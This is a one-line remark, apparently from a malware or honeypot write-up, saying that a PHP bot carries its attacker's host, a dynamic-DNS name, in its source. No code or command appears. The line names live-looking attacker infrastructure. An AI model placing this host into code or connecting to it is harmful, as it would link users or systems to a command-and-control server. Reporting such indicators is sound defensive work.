a php Bot with the attackers ip included on the source, ahlisyurga.no-ip.org. Oh hi there !